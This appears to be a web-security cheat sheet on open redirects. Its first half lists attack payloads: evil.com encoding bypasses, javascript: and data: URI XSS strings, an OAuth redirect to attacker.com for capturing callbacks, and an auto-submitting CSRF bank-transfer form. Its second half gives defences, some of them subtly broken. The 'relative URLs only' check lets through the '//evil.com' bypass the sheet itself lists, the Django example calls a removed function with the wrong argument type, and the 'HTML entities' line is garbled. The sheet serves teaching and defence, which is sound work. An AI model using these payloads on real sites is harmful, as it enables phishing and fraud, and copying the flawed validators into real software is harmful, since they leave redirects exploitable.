Open Redirect

Common Parameters

redirect
url
next
return
destination
r
forward
go
checkout
continue

Testing Methodology

• Fuzz all parameters with external domains
• Check both GET and POST requests
• Test all authentication flows
• Examine JavaScript redirects

OAuth/SSO Abuse

https://oauth-provider.com/auth?
  client_id=123&
  redirect_uri=https://attacker.com/callback

DOM-Based Redirects

window.location.href = new URLSearchParams(
  window.location.search
).get('redirect');

Encoding Variations

// Double encoding
%252F%252Fevil.com

// UTF-8 encoding
%C2%A0evil.com

// HTML entities
//evil.com

Protocol Tricks

// Missing protocol
//evil.com/path

// JavaScript protocol
javascript:alert(1)

// Data URI
data:text/html,<script>alert(1)</script>

Phishing Campaign

1. Victim receives: https://trusted.com/login?redirect=phish.com
2. Trusted site redirects to phishing page
3. Phishing page steals credentials

CSRF Exploitation

<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="amount" value="1000">
  <input type="hidden" name="to" value="attacker">
</form>
<script>document.forms[0].submit()</script>

Whitelist Implementation

// Python example
ALLOWED_DOMAINS = ['example.com', 'trusted.org']

def safe_redirect(url):
    domain = urlparse(url).netloc
    if domain not in ALLOWED_DOMAINS:
        return "/"  # Default safe location
    return url

Relative URLs Only

// Only allow paths, not full URLs
function validateRedirect(path) {
    return path.startsWith('/') ? path : '/';
}

Django Safe Redirect

from django.utils.http import is_safe_url

redirect_to = request.GET.get('next')
if not is_safe_url(redirect_to, allowed_hosts=request.get_host()):
    redirect_to = '/'

Spring Security

@Controller
public class RedirectController {
    public String redirect(@RequestParam String url) {
        // Validate URL against whitelist
        if (!SecurityUtils.isSafe(url)) {
            return "redirect:/";
        }
        return "redirect:" + url;
    }
}

Content Security Policy

Content-Security-Policy: default-src 'self';
  form-action 'self';
  frame-ancestors 'none'

Referrer Policy

Referrer-Policy: strict-origin-when-cross-origin

Anomaly Detection

• Unusual redirect patterns
• Suspicious domains in logs
• Spike in redirect usage

WAF Rules

• Block known malicious domains
• Detect encoding bypass attempts
• Rate limit redirect endpoints